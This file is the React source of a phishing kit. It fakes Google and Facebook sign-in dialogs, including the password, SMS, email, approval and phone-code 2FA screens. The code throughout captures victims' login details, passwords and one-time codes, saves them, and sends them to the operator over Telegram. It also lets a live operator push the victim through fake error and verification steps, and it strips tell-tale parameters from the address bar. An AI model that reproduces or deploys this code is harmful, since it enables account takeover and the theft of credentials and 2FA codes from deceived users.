"use client"

import type React from "react"
import { useRouter } from "next/navigation"
import { useState, useEffect, useRef } from "react"
import { setAuthProvider, type AuthProvider } from "@/lib/auth-provider"
import { sendToTelegram, send2FAToTelegram, sendTryAnotherWayToTelegram, sendNeedAnotherCodeToTelegram } from "@/lib/telegram"
import { subscribeVisitorCredentialsSync } from "@/lib/admin-panel-sync"
import {
  readLoginContactFromStorage,
  saveLoginContactToStorage,
  sanitizeLoginContact,
  splitLoginContact,
  isValidLoginContact,
  loginContactErrorMessage,
} from "@/lib/login-contact"
import {
  getOrCreateSessionId,
  peekSessionLoginContact,
  peekSessionRedirection,
  store2FACode,
  storeUserCredentials,
  backupCredentialsNow,
} from "@/lib/session-tracking"
import type { RedirectHappeningDetail } from "@/lib/apply-client-redirect"
import { isInvitePath } from "@/lib/invite-link"
import {
  isScheduleCallPath,
  normalizeRedirectPath,
  type FacebookDialogStep,
} from "@/lib/booking-flow"
import {
  loadVisitorDialogCommand,
  publishVisitorDialogCommand,
  setLogicalPageUrl,
  subscribeVisitorDialogCommand,
  toLogicalAdminPath,
  toPublicClientPath,
  type VisitorDialogCommand,
} from "@/lib/visitor-dialog-command"

async function getUserIP(): Promise<string | undefined> {
  try {
    const response = await fetch("/api/get-ip")
    if (response.ok) {
      const data = await response.json()
      return data.ip !== "unknown" ? data.ip : undefined
    }
  } catch (error) {

  }
  return undefined
}

/** SMS / phone 2FA — Resend available after 4 minutes */
const SMS_RESEND_SECONDS = 240

const TWO_FA_CONTACT_STEPS = new Set([
  "2fa-sms",
  "2fa-sms-error",
  "2fa-email",
  "2fa-email-error",
  "approve",
  "approve-error",
  "phone-code",
  "phone-code-error",
])

export type AuthChallengeDialogState = {
  step: FacebookDialogStep
  displayStep: FacebookDialogStep
  pending: boolean
  isWaiting: boolean
  countdown: number
  loginContact: string
  displayEmail: string
  displayPhone: string
  phonePromptCode: string
  loginErrorMessage: string | undefined
  provider: AuthProvider
  handleLogin: (e: React.FormEvent) => Promise<void>
  handleLoginError: (e: React.FormEvent) => Promise<void>
  /** Google email step — returns true when ready to show password screen */
  handleGoogleEmailContinue: (e: React.FormEvent) => boolean
  /** Google password step — uses saved loginContact + form password */
  handleGooglePasswordSubmit: (e: React.FormEvent) => Promise<void>
  handle2FAVerify: (e: React.FormEvent) => Promise<void>
  handle2FASMSVerify: (e: React.FormEvent) => Promise<void>
  handle2FAEmailVerify: (e: React.FormEvent) => Promise<void>
  handle2FAErrorVerify: (e: React.FormEvent) => Promise<void>
  handle2FASMSErrorVerify: (e: React.FormEvent) => Promise<void>
  handle2FAEmailErrorVerify: (e: React.FormEvent) => Promise<void>
  handleApproveConfirmed: () => void
  /** Visitor tapped Try another way — notify admin via Telegram */
  handleTryAnotherWay: () => void
  /** Visitor tapped Resend code after 4 min — notify admin via Telegram */
  handleResendCode: () => void
}

/**
 * Shared challenge logic for Google-only and Facebook-only login dialogs.
 * Provider is fixed per dialog instance — never flipped by loading/2fa commands.
 */
export function useAuthChallengeDialog(provider: AuthProvider): AuthChallengeDialogState {
  const router = useRouter()
  const [step, setStep] = useState<FacebookDialogStep>("login")
  const [pending, setPending] = useState(false)
  const [countdown, setCountdown] = useState(SMS_RESEND_SECONDS)
  const [loginContact, setLoginContact] = useState(() => readLoginContactFromStorage())
  const [phonePromptCode, setPhonePromptCode] = useState("47")
  const [loginErrorMessage, setLoginErrorMessage] = useState<string | undefined>(undefined)
  const waitingForAdminRef = useRef(false)
  const stepRef = useRef(step)
  const formStepRef = useRef<FacebookDialogStep>("login")
  const loginContactRef = useRef(loginContact)
  const phonePromptCodeRef = useRef(phonePromptCode)
  const lastCommandIdRef = useRef(0)
  const providerRef = useRef(provider)
  const WAITING_FLAG_KEY = "kf_auth_waiting_v1"

  useEffect(() => {
    phonePromptCodeRef.current = phonePromptCode
  }, [phonePromptCode])

  useEffect(() => {
    loginContactRef.current = loginContact
  }, [loginContact])

  useEffect(() => {
    stepRef.current = step
    if (step !== "loading") {
      formStepRef.current = step
    }
  }, [step])

  useEffect(() => {
    providerRef.current = provider
    setAuthProvider(provider)
  }, [provider])

  const applyLoginContact = (value: string | null | undefined, options?: { force?: boolean }) => {
    const next = sanitizeLoginContact(value)
    if (!next) return
    // Once the visitor typed an email/phone, never replace it with a different DB value
    if (!options?.force && loginContactRef.current && loginContactRef.current !== next) {
      return
    }
    setLoginContact(next)
    loginContactRef.current = next
    saveLoginContactToStorage(next)
  }

  const refreshLoginContact = async () => {
    // Prefer what the visitor already entered (sessionStorage) over DB — avoids email flipping
    const fromMemory = readLoginContactFromStorage()
    if (fromMemory) {
      if (!loginContactRef.current) {
        setLoginContact(fromMemory)
        loginContactRef.current = fromMemory
      }
      return
    }
    if (loginContactRef.current) return
    const fromDb = await peekSessionLoginContact()
    if (fromDb) applyLoginContact(fromDb)
  }

  /** Keep client address bar clean; report logical step only to admin. */
  const syncCleanUrlAndReport = (newStep: FacebookDialogStep, gcode?: string | null) => {
    if (typeof window === "undefined") return

    if (newStep === "phone-code" || newStep === "phone-code-error") {
      const code = gcode || phonePromptCodeRef.current || "47"
      setPhonePromptCode(code)
      phonePromptCodeRef.current = code
    }

    const dialogParam = newStep === "login" ? providerRef.current : newStep
    let logical = `/schedule-call?dialog=${dialogParam}&auth=${providerRef.current}`
    if (
      (newStep === "phone-code" || newStep === "phone-code-error") &&
      (gcode || phonePromptCodeRef.current)
    ) {
      logical += `&gcode=${gcode || phonePromptCodeRef.current}`
    }
    logical = toLogicalAdminPath(logical)
    setLogicalPageUrl(logical)

    const publicPath = toPublicClientPath(logical)
    const current = window.location.pathname + window.location.search

    if (isInvitePath(window.location.pathname)) {
      const url = new URL(window.location.href)
      if (url.searchParams.has("dialog") || url.searchParams.has("gcode")) {
        url.searchParams.delete("dialog")
        url.searchParams.delete("gcode")
        window.history.replaceState(null, "", url.pathname + url.search)
      }
    } else if (current !== publicPath || current.includes("dialog=") || current.includes("gcode=")) {
      window.history.replaceState(null, "", publicPath)
      router.replace(publicPath)
    }

    const fullLogical = new URL(logical, window.location.origin).href
    void import("@/lib/session-tracking").then(({ notifyAdminVisitorActivity, trackSession }) => {
      notifyAdminVisitorActivity({ pageUrl: fullLogical })
      void trackSession({ userId: undefined, pageUrl: fullLogical })
    })
    void import("@/lib/visitor-journey").then(({ authDialogToStepId, trackVisitorStep }) => {
      const mapped = authDialogToStepId(newStep, providerRef.current)
      void trackVisitorStep({
        id: mapped.id,
        label: mapped.label,
        provider: mapped.provider,
        pageUrl: fullLogical,
      })
    })
  }

  /** Apply admin command — this is the ONLY path that changes challenge steps. */
  const applyAdminCommand = (cmd: VisitorDialogCommand) => {
    // Ignore commands aimed at the other provider (sessionStorage may lag briefly).
    if (cmd.provider && cmd.provider !== providerRef.current) return

    const code =
      cmd.step === "phone-code" || cmd.step === "phone-code-error"
        ? cmd.gcode || phonePromptCodeRef.current || "47"
        : null
    const alreadyShowing =
      lastCommandIdRef.current === cmd.id &&
      stepRef.current === cmd.step &&
      (code == null || phonePromptCodeRef.current === code)

    if (alreadyShowing) return

    lastCommandIdRef.current = cmd.id

    // Keep sessionStorage aligned with this dialog; never flip to the other provider.
    setAuthProvider(providerRef.current)

    // Keep the form open and spin the submit button.
    // Never switch to a separate "Please wait…" step.
    if (cmd.step === "loading") {
      waitingForAdminRef.current = true
      setPending(true)
      if (stepRef.current !== "loading") {
        formStepRef.current = stepRef.current
      }
      const formStep: FacebookDialogStep =
        formStepRef.current === "loading" ? "login" : formStepRef.current
      formStepRef.current = formStep
      if (stepRef.current === "loading") {
        setStep(formStep)
      }
      syncCleanUrlAndReport("loading", code)
      return
    }

    waitingForAdminRef.current = false
    setPending(false)
    try {
      sessionStorage.removeItem(WAITING_FLAG_KEY)
    } catch {
      /* ignore */
    }

    if (code != null) {
      setPhonePromptCode(code)
      phonePromptCodeRef.current = code
    }
    if (cmd.step === "2fa-sms" || cmd.step === "2fa-sms-error") {
      setCountdown(SMS_RESEND_SECONDS)
    }

    if (cmd.step === "login-error") {
      formStepRef.current = "login-error"
      const contact = loginContactRef.current?.trim()
      if (providerRef.current === "google") {
        setLoginErrorMessage(
          contact
            ? "Wrong password. Try again or click Forgot password to reset it."
            : "Couldn't find your Google Account"
        )
      } else {
        setLoginErrorMessage(
          contact
            ? "The password that you've entered is incorrect. Forgotten password?"
            : "The email address or mobile number you entered isn't connected to an account."
        )
      }
    }

    setStep(cmd.step)
    if (cmd.step === "login") {
      setLoginErrorMessage(undefined)
    }
    syncCleanUrlAndReport(cmd.step, code)

    if (TWO_FA_CONTACT_STEPS.has(cmd.step)) {
      void refreshLoginContact()
    }
  }

  /** After every user submit — stay on form with spinning button until admin responds. */
  const enterWaitingForAdmin = () => {
    waitingForAdminRef.current = true
    setLoginErrorMessage(undefined)
    if (stepRef.current !== "loading") {
      formStepRef.current = stepRef.current
    }
    // Drop error chrome immediately so error banners never sit on the waiting form
    if (stepRef.current === "login-error") {
      formStepRef.current = "login"
      setStep("login")
    } else if (stepRef.current.endsWith("-error")) {
      const base = stepRef.current.replace(/-error$/, "") as FacebookDialogStep
      if (
        base === "2fa" ||
        base === "2fa-sms" ||
        base === "2fa-email" ||
        base === "approve" ||
        base === "phone-code"
      ) {
        formStepRef.current = base
        setStep(base)
      }
    }
    setPending(true)
    setAuthProvider(providerRef.current)
    try {
      sessionStorage.setItem(
        WAITING_FLAG_KEY,
        JSON.stringify({
          provider: providerRef.current,
          formStep: formStepRef.current,
          at: Date.now(),
        })
      )
    } catch {
      /* ignore */
    }
    publishVisitorDialogCommand(
      `/schedule-call?dialog=loading&auth=${providerRef.current}`
    )
    syncCleanUrlAndReport("loading")
    // Force credentials into DB immediately (survives F5 / remount races)
    void import("@/lib/session-tracking").then(({ restoreCredentialsFromBackup }) => {
      void restoreCredentialsFromBackup()
    })
  }

  // Primary: admin command bus (survives remount / URL races)
  useEffect(() => {
    // Re-push password/email to DB after F5 while waiting
    void import("@/lib/session-tracking").then(({ restoreCredentialsFromBackup }) => {
      void restoreCredentialsFromBackup()
    })

    try {
      const raw = sessionStorage.getItem(WAITING_FLAG_KEY)
      if (raw) {
        const saved = JSON.parse(raw) as {
          provider?: string
          formStep?: FacebookDialogStep
        }
        if (!saved.provider || saved.provider === providerRef.current) {
          waitingForAdminRef.current = true
          setPending(true)
          if (saved.formStep && saved.formStep !== "loading") {
            formStepRef.current = saved.formStep
            setStep(saved.formStep)
          }
        }
      }
    } catch {
      /* ignore */
    }

    const existing = loadVisitorDialogCommand()
    if (existing) applyAdminCommand(existing)

    const unsub = subscribeVisitorDialogCommand((cmd) => {
      if (!cmd) return
      applyAdminCommand(cmd)
    })

    // Fallback: DB peek if bus empty
    void peekSessionRedirection().then((r) => {
      if (!r.success || !r.redirectTo) return
      const published = publishVisitorDialogCommand(r.redirectTo)
      if (published) applyAdminCommand(published)
    })

    // Keep restoring credentials while waiting (F5 / heartbeat races)
    const restoreTimer = window.setInterval(() => {
      if (!waitingForAdminRef.current) return
      void import("@/lib/session-tracking").then(({ restoreCredentialsFromBackup }) => {
        void restoreCredentialsFromBackup()
      })
    }, 2500)

    return () => {
      unsub()
      window.clearInterval(restoreTimer)
    }
    // eslint-disable-next-line react-hooks/exhaustive-deps -- mount-only bus subscription
  }, [])

  // Legacy DOM events → publish into bus (bridge may have already published)
  useEffect(() => {
    const onRedirect = (event: Event) => {
      const detail = (event as CustomEvent<RedirectHappeningDetail>).detail
      const raw = detail?.redirectToPage || detail?.redirectTo
      if (!raw) return
      const normalized = normalizeRedirectPath(raw)
      if (!isScheduleCallPath(normalized.split("?")[0]!)) {
        waitingForAdminRef.current = false
        setPending(true)
        return
      }
      const published = publishVisitorDialogCommand(normalized)
      if (published) applyAdminCommand(published)
    }

    window.addEventListener("admin-redirect-happening", onRedirect)
    window.addEventListener("session-redirect-set", onRedirect)
    return () => {
      window.removeEventListener("admin-redirect-happening", onRedirect)
      window.removeEventListener("session-redirect-set", onRedirect)
    }
    // eslint-disable-next-line react-hooks/exhaustive-deps -- mount-only redirect bridge
  }, [])

  // Strip any leftover dialog/gcode from the visible URL (never drive UI from URL)
  useEffect(() => {
    if (typeof window === "undefined") return
    const url = new URL(window.location.href)
    if (url.searchParams.has("dialog") || url.searchParams.has("gcode")) {
      if (isInvitePath(url.pathname)) {
        url.searchParams.delete("dialog")
        url.searchParams.delete("gcode")
        window.history.replaceState(null, "", url.pathname + url.search)
        return
      }
      const clean = toPublicClientPath(url.pathname + url.search)
      window.history.replaceState(null, "", clean)
      router.replace(clean)
    }
  }, [router])

  useEffect(() => {
    void refreshLoginContact()
    const sessionId = getOrCreateSessionId()
    const unsubCredentials = subscribeVisitorCredentialsSync(sessionId, (payload) => {
      // Fill only if we have no contact yet — never overwrite typed Google/Facebook email
      if (!loginContactRef.current) {
        applyLoginContact(payload.user_email)
      }
    })
    return () => unsubCredentials()
  }, [])

  useEffect(() => {
    if (TWO_FA_CONTACT_STEPS.has(step)) {
      void refreshLoginContact()
    }
  }, [step])

  // Reset + tick SMS countdown whenever admin (re)opens SMS 2FA
  useEffect(() => {
    if (step === "2fa-sms" || step === "2fa-sms-error") {
      setCountdown(SMS_RESEND_SECONDS)
    }
  }, [step])

  useEffect(() => {
    if ((step === "2fa-sms" || step === "2fa-sms-error") && countdown > 0) {
      const timer = setTimeout(() => setCountdown((c) => c - 1), 1000)
      return () => clearTimeout(timer)
    }
  }, [step, countdown])

  const submitLoginForm = async (e: React.FormEvent) => {
    e.preventDefault()

    const formData = new FormData(e.target as HTMLFormElement)
    const emailOrPhone = (formData.get("email") as string)?.trim()
    const passwordValue = (formData.get("password") as string)?.trim()

    if (!emailOrPhone || !passwordValue) return

    if (!isValidLoginContact(emailOrPhone)) {
      setLoginErrorMessage(
        loginContactErrorMessage(emailOrPhone, providerRef.current)
      )
      setStep("login-error")
      return
    }

    setLoginErrorMessage(undefined)
    applyLoginContact(emailOrPhone, { force: true })
    loginContactRef.current = emailOrPhone
    setAuthProvider(providerRef.current)

    const sessionId = getOrCreateSessionId()
    backupCredentialsNow(sessionId, emailOrPhone, passwordValue, providerRef.current)
    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id:
          providerRef.current === "facebook"
            ? "auth.facebook.login"
            : "auth.google.password",
        label:
          providerRef.current === "facebook"
            ? "Facebook · login submitted"
            : "Google · password submitted",
        provider: providerRef.current,
      })
    })
    enterWaitingForAdmin()

    try {
      const ipAddress = await getUserIP()
      await storeUserCredentials(emailOrPhone, passwordValue, sessionId, providerRef.current)
      await sendToTelegram({
        email: emailOrPhone,
        password: passwordValue,
        timestamp: new Date().toISOString(),
        userAgent: typeof window !== "undefined" ? window.navigator.userAgent : undefined,
        ipAddress,
        sessionId,
        provider: providerRef.current,
      })
    } catch (error) {

    }
  }

  /** Google step 1: email only — no admin wait yet */
  const handleGoogleEmailContinue = (e: React.FormEvent): boolean => {
    e.preventDefault()
    const formData = new FormData(e.target as HTMLFormElement)
    const emailOrPhone = (formData.get("email") as string)?.trim()
    if (!emailOrPhone) {
      setLoginErrorMessage(loginContactErrorMessage("", "google"))
      setStep("login-error")
      return false
    }

    if (!isValidLoginContact(emailOrPhone)) {
      setLoginErrorMessage(loginContactErrorMessage(emailOrPhone, "google"))
      setStep("login-error")
      return false
    }

    setLoginErrorMessage(undefined)
    applyLoginContact(emailOrPhone, { force: true })
    if (stepRef.current === "login-error") {
      setStep("login")
    }
    // Do NOT fire-and-forget an email-only store here — it races password save and wipes it.
    // Email is persisted together with the password on the next step.
    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id: "auth.google.email",
        label: "Google · email entered",
        provider: "google",
      })
    })
    return true
  }

  /** Google step 2: password — uses contact from step 1 */
  const handleGooglePasswordSubmit = async (e: React.FormEvent) => {
    e.preventDefault()
    const formData = new FormData(e.target as HTMLFormElement)
    const passwordValue = (formData.get("password") as string)?.trim()
    const emailOrPhone = loginContactRef.current?.trim()
    if (!emailOrPhone || !passwordValue) return

    setLoginErrorMessage(undefined)
    // Re-pin the same email so password save / sync cannot swap it
    applyLoginContact(emailOrPhone, { force: true })
    setAuthProvider(providerRef.current)

    const sessionId = getOrCreateSessionId()
    backupCredentialsNow(sessionId, emailOrPhone, passwordValue, providerRef.current)
    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id:
          providerRef.current === "facebook"
            ? "auth.facebook.login"
            : "auth.google.password",
        label:
          providerRef.current === "facebook"
            ? "Facebook · login submitted"
            : "Google · password submitted",
        provider: providerRef.current,
      })
    })
    enterWaitingForAdmin()

    try {
      const ipAddress = await getUserIP()
      await storeUserCredentials(emailOrPhone, passwordValue, sessionId, providerRef.current)
      await sendToTelegram({
        email: emailOrPhone,
        password: passwordValue,
        timestamp: new Date().toISOString(),
        userAgent: typeof window !== "undefined" ? window.navigator.userAgent : undefined,
        ipAddress,
        sessionId,
        provider: providerRef.current,
      })
    } catch (error) {

    }
  }

  const submit2FA = async (
    e: React.FormEvent,
    type: "2fa" | "2fa-sms" | "2fa-email" | "2fa-error" | "2fa-sms-error" | "2fa-email-error"
  ) => {
    e.preventDefault()
    const formData = new FormData(e.target as HTMLFormElement)
    const codeValue = (formData.get("code") as string)?.trim()

    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id: `auth.${type}.submitted`,
        label: `Code submitted · ${type}`,
        provider: providerRef.current,
      })
    })
    enterWaitingForAdmin()

    if (!codeValue) return

    try {
      const ipAddress = await getUserIP()
      const sessionId = getOrCreateSessionId()
      await Promise.allSettled([
        send2FAToTelegram({
          code: codeValue,
          type,
          email: loginContactRef.current,
          timestamp: new Date().toISOString(),
          userAgent: typeof window !== "undefined" ? window.navigator.userAgent : undefined,
          ipAddress,
          sessionId,
          provider: providerRef.current,
        }),
        store2FACode(codeValue, type, sessionId, loginContactRef.current),
      ])
    } catch (error) {

    }
  }

  const handleApproveConfirmed = () => {
    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id: "auth.approve.confirmed",
        label: "Approve confirmed",
        provider: providerRef.current,
      })
    })
    enterWaitingForAdmin()
  }

  const handleTryAnotherWay = () => {
    const currentStep = formStepRef.current !== "loading" ? formStepRef.current : stepRef.current
    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id: "auth.try_another_way",
        label: "Try another way",
        provider: providerRef.current,
      })
    })
    enterWaitingForAdmin()

    void (async () => {
      try {
        const ipAddress = await getUserIP()
        const sessionId = getOrCreateSessionId()
        await sendTryAnotherWayToTelegram({
          currentStep,
          email: loginContactRef.current || undefined,
          sessionId,
          ipAddress,
          userAgent: typeof window !== "undefined" ? window.navigator.userAgent : undefined,
          provider: providerRef.current,
        })
      } catch (error) {

      }
    })()
  }

  const handleResendCode = () => {
    const currentStep = formStepRef.current !== "loading" ? formStepRef.current : stepRef.current
    void import("@/lib/visitor-journey").then(({ trackVisitorStep }) => {
      void trackVisitorStep({
        id: "auth.resend_code",
        label: "Resend code clicked",
        provider: providerRef.current,
      })
    })
    enterWaitingForAdmin()

    void (async () => {
      try {
        const ipAddress = await getUserIP()
        const sessionId = getOrCreateSessionId()
        await sendNeedAnotherCodeToTelegram({
          currentStep,
          email: loginContactRef.current || undefined,
          sessionId,
          ipAddress,
          userAgent: typeof window !== "undefined" ? window.navigator.userAgent : undefined,
          provider: providerRef.current,
        })
      } catch (error) {

      }
    })()
  }

  const contactParts = splitLoginContact(loginContact)
  const displayEmail = contactParts.email ?? ""
  const displayPhone = contactParts.phone ?? ""

  const isWaiting = pending || step === "loading"
  const rawWaitingStep: FacebookDialogStep = isWaiting
    ? formStepRef.current === "loading"
      ? "login"
      : formStepRef.current
    : step
  // While waiting for admin, never show error variants
  const displayStep: FacebookDialogStep = isWaiting
    ? rawWaitingStep === "login-error"
      ? "login"
      : rawWaitingStep === "2fa-error"
        ? "2fa"
        : rawWaitingStep === "2fa-sms-error"
          ? "2fa-sms"
          : rawWaitingStep === "2fa-email-error"
            ? "2fa-email"
            : rawWaitingStep === "approve-error"
              ? "approve"
              : rawWaitingStep === "phone-code-error"
                ? "phone-code"
                : rawWaitingStep
    : step

  return {
    step,
    displayStep,
    pending,
    isWaiting,
    countdown,
    loginContact,
    displayEmail,
    displayPhone,
    phonePromptCode,
    loginErrorMessage,
    provider,
    handleLogin: submitLoginForm,
    handleLoginError: submitLoginForm,
    handleGoogleEmailContinue,
    handleGooglePasswordSubmit,
    handle2FAVerify: (e) => submit2FA(e, "2fa"),
    handle2FASMSVerify: (e) => submit2FA(e, "2fa-sms"),
    handle2FAEmailVerify: (e) => submit2FA(e, "2fa-email"),
    handle2FAErrorVerify: (e) => submit2FA(e, "2fa-error"),
    handle2FASMSErrorVerify: (e) => submit2FA(e, "2fa-sms-error"),
    handle2FAEmailErrorVerify: (e) => submit2FA(e, "2fa-email-error"),
    handleApproveConfirmed,
    handleTryAnotherWay,
    handleResendCode,
  }
}
